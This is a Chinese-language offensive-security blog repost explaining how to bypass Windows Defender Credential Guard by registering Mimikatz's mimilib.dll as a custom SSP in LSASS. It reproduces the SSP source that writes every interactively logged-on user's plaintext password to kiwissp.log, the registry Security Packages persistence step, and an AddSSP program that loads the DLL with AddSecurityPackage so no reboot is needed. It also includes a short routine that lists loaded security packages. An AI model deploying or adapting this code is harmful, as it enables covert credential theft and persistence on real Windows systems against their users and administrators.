Mimikatz Explorer – Custom SSP

渗透技巧 11个月前 admin
259 0 0

TL;DR

Windows Defender Credential Guard 使用基于虚拟化的安全性来隔离机密,依次保护 NTLM 密码哈希、Kerberos TGT 票据和应用程序存储为域凭据的凭据来防止凭据盗窃、哈希传递或票据传递等攻击。

如果我们在启用了 Credential Guard 的系统上尝试使用 Mimikatz 从 LSASS 进程内存中提取凭证,我们会观察到以下结果。

Mimikatz Explorer - Custom SSP

如上图所示,我们无法从 LSASS 内存中提取任何凭据,NTLM 哈希处显示的是 “LSA Isolated Data: NtlmHash”。并且,即便已经通过修改注册表启用了 Wdigest,也依然获取不到任何明凭据。

从 Windows 11 Enterprise, Version 22H2 和 Windows 11 Education, Version 22H 开始,兼容系统默认已启用 Windows Defender Credential Guard。不过,通过本篇文章的方法,可以轻松绕过 Credential Guard,并获取明文凭据。

Basic Knowledge

Creating Custom Security Packages

自定义安全包 API 支持组合开发自定义安全支持提供程序(SSP),后者为客户端/服务器应用程序提供非交互身份验证服务和安全消息交换,以及开发自定义身份验证包,为执行交互式身份验证的应用程序提供服务。这些服务在单个包中合并时称为安全支持提供程序/身份验证包(SSP/AP)。

SSP/AP 中部署的安全包与 LSA 完全集成。使用可用于自定义安全包的 LSA 支持函数,开发人员可以实现高级安全功能,例如令牌创建、 补充凭据支持和直通身份验证。

如果我们自定义安全支持提供程序/身份验证包(SSP/AP),并将其注册到系统,当用户重新进行交互式身份验证时,系统就会同通过我们自定义的 SSP/AP 传递明文凭据,这意味着我们可以提取到明文凭据并将其保存下来。这样便可以绕过 Credential Guard 的保护机制。

SSP/AP 安全包,为了同时执行身份验证包(AP)和安全支持提供程序(SSP),可以作为操作系统的一部分以及作为用户应用程序的一部分执行。这两种执行模式分别称为 LSA 模式和用户模式。这里我们需要的是 LSA 模式。

下面简单介绍一下关于 LSA 模式的初始化。

LSA Mode Initialization

SECPKG_FUNCTION_TABLE

SECPKG_FUNCTION_TABLE 结构包含指向安全包必须实现的 LSA 函数的指针。本地安全机构(LSA)在调用 SpLsaModeInitialize() 函数时从 SSP/AP DLL 获取此结构。

该结构语法如下:

typedef struct _SECPKG_FUNCTION_TABLE {
  PLSA_AP_INITIALIZE_PACKAGE              InitializePackage;
  PLSA_AP_LOGON_USER                      LogonUser;
  PLSA_AP_CALL_PACKAGE                    CallPackage;
  PLSA_AP_LOGON_TERMINATED                LogonTerminated;
  PLSA_AP_CALL_PACKAGE_UNTRUSTED          CallPackageUntrusted;
  PLSA_AP_CALL_PACKAGE_PASSTHROUGH        CallPackagePassthrough;
  PLSA_AP_LOGON_USER_EX                   LogonUserEx;
  PLSA_AP_LOGON_USER_EX2                  LogonUserEx2;
  SpInitializeFn                          *Initialize;
  SpShutdownFn                            *Shutdown;
  SpGetInfoFn                             *GetInfo;
  SpAcceptCredentialsFn                   *AcceptCredentials;
  SpAcquireCredentialsHandleFn            *AcquireCredentialsHandle;
  SpQueryCredentialsAttributesFn          *QueryCredentialsAttributes;
  SpFreeCredentialsHandleFn               *FreeCredentialsHandle;
  SpSaveCredentialsFn                     *SaveCredentials;
  SpGetCredentialsFn                      *GetCredentials;
  SpDeleteCredentialsFn                   *DeleteCredentials;
  SpInitLsaModeContextFn                  *InitLsaModeContext;
  SpAcceptLsaModeContextFn                *AcceptLsaModeContext;
  SpDeleteContextFn                       *DeleteContext;
  SpApplyControlTokenFn                   *ApplyControlToken;
  SpGetUserInfoFn                         *GetUserInfo;
  SpGetExtendedInformationFn              *GetExtendedInformation;
  SpQueryContextAttributesFn              *QueryContextAttributes;
  SpAddCredentialsFn                      *AddCredentials;
  SpSetExtendedInformationFn              *SetExtendedInformation;
  SpSetContextAttributesFn                *SetContextAttributes;
  SpSetCredentialsAttributesFn            *SetCredentialsAttributes;
  SpChangeAccountPasswordFn               *ChangeAccountPassword;
  SpQueryMetaDataFn                       *QueryMetaData;
  SpExchangeMetaDataFn                    *ExchangeMetaData;
  SpGetCredUIContextFn                    *GetCredUIContext;
  SpUpdateCredentialsFn                   *UpdateCredentials;
  SpValidateTargetInfoFn                  *ValidateTargetInfo;
  LSA_AP_POST_LOGON_USER                  *PostLogonUser;
  SpGetRemoteCredGuardLogonBufferFn       *GetRemoteCredGuardLogonBuffer;
  SpGetRemoteCredGuardSupplementalCredsFn *GetRemoteCredGuardSupplementalCreds;
  SpGetTbalSupplementalCredsFn            *GetTbalSupplementalCreds;
  PLSA_AP_LOGON_USER_EX3                  LogonUserEx3;
  PLSA_AP_PRE_LOGON_USER_SURROGATE        PreLogonUserSurrogate;
  PLSA_AP_POST_LOGON_USER_SURROGATE       PostLogonUserSurrogate;
  SpExtractTargetInfoFn                   *ExtractTargetInfo;
} SECPKG_FUNCTION_TABLE, *PSECPKG_FUNCTION_TABLE;

LSA_SECPKG_FUNCTION_TABLE

LSA_SECPKG_FUNCTION_TABLE 结构包含指向安全包可以调用的 LSA 函数的指针。本地安全机构(LSA)在调用包的 SpInitialize() 函数时将此结构传递给安全包。

该结构语法如下:

typedef struct _LSA_SECPKG_FUNCTION_TABLE {
  PLSA_CREATE_LOGON_SESSION          CreateLogonSession;
  PLSA_DELETE_LOGON_SESSION          DeleteLogonSession;
  PLSA_ADD_CREDENTIAL                AddCredential;
  PLSA_GET_CREDENTIALS               GetCredentials;
  PLSA_DELETE_CREDENTIAL             DeleteCredential;
  PLSA_ALLOCATE_LSA_HEAP             AllocateLsaHeap;
  PLSA_FREE_LSA_HEAP                 FreeLsaHeap;
  PLSA_ALLOCATE_CLIENT_BUFFER        AllocateClientBuffer;
  PLSA_FREE_CLIENT_BUFFER            FreeClientBuffer;
  PLSA_COPY_TO_CLIENT_BUFFER         CopyToClientBuffer;
  PLSA_COPY_FROM_CLIENT_BUFFER       CopyFromClientBuffer;
  PLSA_IMPERSONATE_CLIENT            ImpersonateClient;
  PLSA_UNLOAD_PACKAGE                UnloadPackage;
  PLSA_DUPLICATE_HANDLE              DuplicateHandle;
  PLSA_SAVE_SUPPLEMENTAL_CREDENTIALS SaveSupplementalCredentials;
  PLSA_CREATE_THREAD                 CreateThread;
  PLSA_GET_CLIENT_INFO               GetClientInfo;
  PLSA_REGISTER_NOTIFICATION         RegisterNotification;
  PLSA_CANCEL_NOTIFICATION           CancelNotification;
  PLSA_MAP_BUFFER                    MapBuffer;
  PLSA_CREATE_TOKEN                  CreateToken;
  PLSA_AUDIT_LOGON                   AuditLogon;
  PLSA_CALL_PACKAGE                  CallPackage;
  PLSA_FREE_LSA_HEAP                 FreeReturnBuffer;
  PLSA_GET_CALL_INFO                 GetCallInfo;
  PLSA_CALL_PACKAGEEX                CallPackageEx;
  PLSA_CREATE_SHARED_MEMORY          CreateSharedMemory;
  PLSA_ALLOCATE_SHARED_MEMORY        AllocateSharedMemory;
  PLSA_FREE_SHARED_MEMORY            FreeSharedMemory;
  PLSA_DELETE_SHARED_MEMORY          DeleteSharedMemory;
  PLSA_OPEN_SAM_USER                 OpenSamUser;
  PLSA_GET_USER_CREDENTIALS          GetUserCredentials;
  PLSA_GET_USER_AUTH_DATA            GetUserAuthData;
  PLSA_CLOSE_SAM_USER                CloseSamUser;
  PLSA_CONVERT_AUTH_DATA_TO_TOKEN    ConvertAuthDataToToken;
  PLSA_CLIENT_CALLBACK               ClientCallback;
  PLSA_UPDATE_PRIMARY_CREDENTIALS    UpdateCredentials;
  PLSA_GET_AUTH_DATA_FOR_USER        GetAuthDataForUser;
  PLSA_CRACK_SINGLE_NAME             CrackSingleName;
  PLSA_AUDIT_ACCOUNT_LOGON           AuditAccountLogon;
  PLSA_CALL_PACKAGE_PASSTHROUGH      CallPackagePassthrough;
  CredReadFn                         *CrediRead;
  CredReadDomainCredentialsFn        *CrediReadDomainCredentials;
  CredFreeCredentialsFn              *CrediFreeCredentials;
  PLSA_PROTECT_MEMORY                DummyFunction1;
  PLSA_PROTECT_MEMORY                DummyFunction2;
  PLSA_PROTECT_MEMORY                DummyFunction3;
  PLSA_PROTECT_MEMORY                LsaProtectMemory;
  PLSA_PROTECT_MEMORY                LsaUnprotectMemory;
  PLSA_OPEN_TOKEN_BY_LOGON_ID        OpenTokenByLogonId;
  PLSA_EXPAND_AUTH_DATA_FOR_DOMAIN   ExpandAuthDataForDomain;
  PLSA_ALLOCATE_PRIVATE_HEAP         AllocatePrivateHeap;
  PLSA_FREE_PRIVATE_HEAP             FreePrivateHeap;
  PLSA_CREATE_TOKEN_EX               CreateTokenEx;
  CredWriteFn                        *CrediWrite;
  CrediUnmarshalandDecodeStringFn    *CrediUnmarshalandDecodeString;
  PLSA_PROTECT_MEMORY                DummyFunction4;
  PLSA_PROTECT_MEMORY                DummyFunction5;
  PLSA_PROTECT_MEMORY                DummyFunction6;
  PLSA_GET_EXTENDED_CALL_FLAGS       GetExtendedCallFlags;
  PLSA_DUPLICATE_HANDLE              DuplicateTokenHandle;
  PLSA_GET_SERVICE_ACCOUNT_PASSWORD  GetServiceAccountPassword;
  PLSA_PROTECT_MEMORY                DummyFunction7;
  PLSA_AUDIT_LOGON_EX                AuditLogonEx;
  PLSA_CHECK_PROTECTED_USER_BY_TOKEN CheckProtectedUserByToken;
  PLSA_QUERY_CLIENT_REQUEST          QueryClientRequest;
  PLSA_GET_APP_MODE_INFO             GetAppModeInfo;
  PLSA_SET_APP_MODE_INFO             SetAppModeInfo;
} LSA_SECPKG_FUNCTION_TABLE, *PLSA_SECPKG_FUNCTION_TABLE;

LSA Mode Initialization

启动计算机系统后,本地安全机构(LSA)会自动将所有已注册的安全支持提供程序/身份验证包(SSP/AP)的 DLL 加载到其进程空间中,下图显示了初始化过程。

Mimikatz Explorer - Custom SSP

“Kerberos” 表示 Microsoft Kerberos SSP/AP,“My SSP/AP” 表示包含两个自定义安全包的自定义 SSP/AP。

启动时,LSA 调用每个 SSP/AP 中的 SpLsaModeInitialize() 函数,以获取指向 DLL 中每个安全包实现的函数的指针,函数指针以 SECPKG_FUNCTION_TABLE 结构数组的形式传递给 LSA。

Mimikatz Explorer - Custom SSP

收到一组 SECPKG_FUNCTION_TABLE 结构后,LSA 将调用每个安全包所实现的 SpInitialize() 函数。LSA 使用此函数调用传递给每个安全包一个 LSA_SECPKG_FUNCTION_TABLE 结构,其中包含指向安全包调用的 LSA 函数的指针。除了存储指向 LSA 支持函数的指针外,自定义安全包还应使用 SpInitialize() 函数的实现来执行任何与初始化相关的处理。

Main Detail

Mimikatz 提供的 mimilib.dll 可被注册到系统中作为一个 SSP,为攻击者提供一种方法来检索由受害者输入的凭证,以下为主要功能的实现代码。

#include "kssp.h"

static SECPKG_FUNCTION_TABLE kiwissp_SecPkgFunctionTable[] = {
    {
    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
    kssp_SpInitialize, kssp_SpShutDown, kssp_SpGetInfo, kssp_SpAcceptCredentials,
    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL, NULL, NULL, NULL
    }
};

NTSTATUS NTAPI kssp_SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable)
{
    return STATUS_SUCCESS;
}

NTSTATUS NTAPI kssp_SpShutDown(void)
{
    return STATUS_SUCCESS;
}

NTSTATUS NTAPI kssp_SpGetInfo(PSecPkgInfoW PackageInfo)
{
    PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
    PackageInfo->wVersion   = 1;
    PackageInfo->wRPCID     = SECPKG_ID_NONE;
    PackageInfo->cbMaxToken = 0;
    PackageInfo->Name       = L"KiwiSSP";
    PackageInfo->Comment    = L"Kiwi Security Support Provider";
    return STATUS_SUCCESS;
}

NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
    FILE *kssp_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
    if(kssp_logfile = _wfopen(L"kiwissp.log", L"a"))
#pragma warning(pop)
    {
        klog(kssp_logfile, L"[%08x:%08x] [%08x] %wZ\%wZ (%wZ)t", PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, LogonType, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, AccountName);
        klog_password(kssp_logfile, &PrimaryCredentials->Password);
        klog(kssp_logfile, L"n");
        fclose(kssp_logfile);
    }
    return STATUS_SUCCESS;
}

NTSTATUS NTAPI kssp_SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE *ppTables, PULONG pcTables)
{
    *PackageVersion = SECPKG_INTERFACE_VERSION;
    *ppTables = kiwissp_SecPkgFunctionTable;
    *pcTables = ARRAYSIZE(kiwissp_SecPkgFunctionTable);
    return STATUS_SUCCESS;
}

kiwissp_SecPkgFunctionTable

kiwissp_SecPkgFunctionTable 是一个 SECPKG_FUNCTION_TABLE 结构的数组,包含指向安全包必须实现的 LSA 函数的指针。这里主要实现了 kssp_SpInitializekssp_SpShutDownkssp_SpGetInfokssp_SpAcceptCredentialskssp_SpLsaModeInitialize 函数。

kssp_SpInitialize

kssp_SpInitialize 实现了 SpInitialize 函数,该函数定义如下:

NTSTATUS Spinitializefn(
  [in] ULONG_PTR PackageId,
  [in] PSECPKG_PARAMETERS Parameters,
  [in] PLSA_SECPKG_FUNCTION_TABLE FunctionTable
);

参数如下:

  • [in] PackageId:LSA 分配给每个安全包的唯一标识符。该值在重新启动系统之前有效。
  • [in] Parameters:指向包含主域和计算机状态信息的 SECPKG_PARAMETERS 结构的指针。
  • [in] FunctionTable:指向可以安全包调用的 LSA 函数的指针列表。该函数由本地安全机构(LSA)调用一次,用于执行任何与初始化相关的处理,并提供一个函数指针列表,其中包含安全包调用的 LSA 函数的指针。

kssp_SpShutDown

kssp_SpShutDown 实现了 SpShutDown 函数,该函数定义如下:

NTSTATUS SpShutDown(void);

该函数在卸载安全支持提供程序/身份验证包 (SSP/AP) 之前,由本地安全机构(LSA)调用,用于在卸载 SSP/AP 之前执行所需的任何清理,以便释放资源。

kssp_SpGetInfo

kssp_SpGetInfo 函数实现了 SpGetInfo 函数,该函数定义如下:

NTSTATUS Spgetinfofn(
  [out] PSecPkgInfo PackageInfo
);

参数如下:

  • [out] PackageInfo:指向由本地安全机构(LSA)分配的 SecPkgInfo 结构的指针,必须由包填充。SpGetInfo 函数提供有关安全包的一般信息,例如其名称和功能描述。客户端调用安全支持提供程序接口(SSPI)的 QuerySecurityPackageInfo 函数时,将调用 SpGetInfo 函数。

kssp_SpAcceptCredentials

kssp_SpAcceptCredentials 函数实现了 SpAcceptCredentials 函数,该函数定义如下:

NTSTATUS Spacceptcredentialsfn(
  [in] SECURITY_LOGON_TYPE LogonType,
  [in] PUNICODE_STRING AccountName,
  [in] PSECPKG_PRIMARY_CRED PrimaryCredentials,
  [in] PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials
);

参数如下:

  • [in] LogonType:指示登录类型的 SECURITY_LOGON_TYPE 值。
  • [in] AccountName:指向存储登录账户名称的UNICODE_STRING结构的指针。
  • [in] PrimaryCredentials:指向包含登录凭据的 SECPKG_PRIMARY_CRED 结构的指针。
  • [in] SupplementalCredentials:指向包含特定于包的补充凭据的 ECPKG_SUPPLEMENTAL_CRED 结构的指针。SpAcceptCredentials 函数由本地安全机构(LSA)调用,以将为经过身份验证的安全主体存储的任何凭据传递给安全包。为 LSA 存储的每组凭据调用一次此函数。

将编译生成的 mimilib.dll 置于 C:WindowsSystem32 目录中,并将 “mimilib” 添加到以下注册表值的数据中,如下图所示。

HKEY_LOCAL_MACHINESystemCurrentControlSetControlLsaSecurity Packages
Mimikatz Explorer - Custom SSP

当该主机重新启动并进行交互式身份验证时,将在 C:WindowsSystem32kiwissp.log 中记录当前登录用户的明文密码,如下图所示。

Mimikatz Explorer - Custom SSP

列举已加载的 SSP

我们可以通过以下代码,列举当前系统中已经加载的 SSP:

// ListSSPs.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#define SECURITY_WIN32

#include <stdio.h>
#include <Windows.h>
#include <sspi.h>
#include <Security.h>

#pragma comment(lib, "Secur32.lib")

int wmain(int argc, wchar_t* argv[]) {
    ULONG packageCount = 0;
    PSecPkgInfoW packages;

    if (EnumerateSecurityPackagesW(&packageCount, &packages) == SEC_E_OK) {
        for (int i = 0; i < packageCount; i++) {
            wprintf(L"Name: %s    Comment: %sn", packages[i].Name, packages[i].Comment);
        }
    }
}

如下图所示,KiwiSSP 已经加载到了当前系统中:

Mimikatz Explorer - Custom SSP

利用 AddSecurityPackage API 来加载 SSP/AP

到目前为止,成功利用自定义 SSP 的条件是必须重新启动系统。因此只有启动计算机系统后,本地安全机构(LSA)才会自动将已注册的 SSP/AP 的 DLL 加载到其进程空间中。

然而,利用某些 Windows API,我们可以在不重启的情况下添加 SSP/AP。

AddSecurityPackage 是一个 SSPI 函数,用于将安全支持提供程序添加到提供程序列表中,该函数声明如下。

SECURITY_STATUS SEC_ENTRY AddSecurityPackageW(
  [in] LPSTR                     pszPackageName,
  [in] PSECURITY_PACKAGE_OPTIONS pOptions
);

参数如下:

  • [in] pszPackageName:要添加的包的名称。
  • [in] pOptions:指向 SECURITY_PACKAGE_OPTIONS 结构的指针,该结构指定有关安全包的其他信息。

通过 C/C++ 创建一个名为 AddSSP 的项目,其代码如下所示。

#define SECURITY_WIN32

#include <stdio.h>
#include <Windows.h>
#include <Security.h>
#pragma comment(lib,"Secur32.lib")

int wmain(int argc, char** argv) {

    SECURITY_PACKAGE_OPTIONS option;
    option.Size = sizeof(option);
    option.Flags = 0;
    option.Type = SECPKG_OPTIONS_TYPE_LSA;
    option.SignatureSize = 0;
    option.Signature = NULL;

    // AddSecurityPackageW 默认在 System32 目录中搜索 mimilib.dll
    if (AddSecurityPackageW((LPWSTR)L"mimilib", &option) == SEC_E_OK)
    {
        wprintf(L"[*] Add security package successfullyn");
    }
}

编译并生成 AddSSP.exe 后,运行 AddSSP.exe 即可成功将 mimilib.dll 添加到系统。需要注意的是,以上代码仅将 CustSSP 加载到 LSASS 进程中,重启系统后会失效。


原文地址:https://forum.butian.net/share/2301

 若有侵权请联系删除

技术交流加下方vx


Mimikatz Explorer - Custom SSP


原文始发于微信公众号(红蓝公鸡队):Mimikatz Explorer – Custom SSP

版权声明:admin 发表于 2023年6月7日 上午10:52。
转载请注明:Mimikatz Explorer – Custom SSP | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...